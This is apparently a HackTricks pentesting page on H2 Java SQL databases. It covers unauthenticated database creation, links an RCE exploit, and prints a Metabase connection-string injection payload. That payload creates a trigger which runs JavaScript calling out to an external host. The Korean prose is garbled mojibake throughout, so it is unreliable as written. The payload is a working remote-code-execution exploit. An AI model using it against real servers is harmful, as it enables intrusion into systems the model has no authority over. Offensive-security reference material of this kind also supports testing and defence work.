H2 - Java SQL ๋ฐ์ดํฐ๋ฒ ์ด์ค
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ณต์ ํ์ด์ง: https://www.h2database.com/html/main.html
์ ๊ทผ
์ ํจํ ์๊ฒฉ ์ฆ๋ช ์์ด ์๋ก์ด ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ฅผ ์์ฑํ๊ธฐ ์ํด ์กด์ฌํ์ง ์๋ ๋ฐ์ดํฐ๋ฒ ์ด์ค ์ด๋ฆ์ ์ง์ ํ ์ ์์ต๋๋ค (์ธ์ฆ๋์ง ์์):
.png)
๋๋ ์๋ฅผ ๋ค์ด mysql์ด ์คํ ์ค์ด๊ณ ํด๋น ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ์ด๋ฆ๊ณผ ์๊ฒฉ ์ฆ๋ช ์ ์๊ณ ์๋ค๋ฉด, ๊ทธ๋ฅ ์ ๊ทผํ ์ ์์ต๋๋ค:
.png)
HTB์ Hawk ๋ฐ์ค์์์ ํธ๋ฆญ.
RCE
H2 ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ํต์ ํ ์ ์๋ ์ ๊ทผ ๊ถํ์ด ์๋ค๋ฉด, RCE๋ฅผ ์ป๊ธฐ ์ํ ์ด ์ต์คํ๋ก์์ ํ์ธํ์ธ์: https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed
H2 SQL ์ธ์ ์ ์ ํตํ RCE
์ด ๊ฒ์๋ฌผ์์๋ SQL ์ธ์ ์ ์ ์ ์ฉํ์ฌ H2 ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ฅผ ํตํ RCE๋ฅผ ์ป๊ธฐ ์ํ ํ์ด๋ก๋๊ฐ ์ค๋ช ๋์ด ์์ต๋๋ค.
[...]
"details":
{
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER IAMPWNED BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\nnew java.net.URL('https://example.com/pwn134').openConnection().getContentLength()\n$$--=x\\;",
"advanced-options": false,
"ssl": true
},
[...]
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


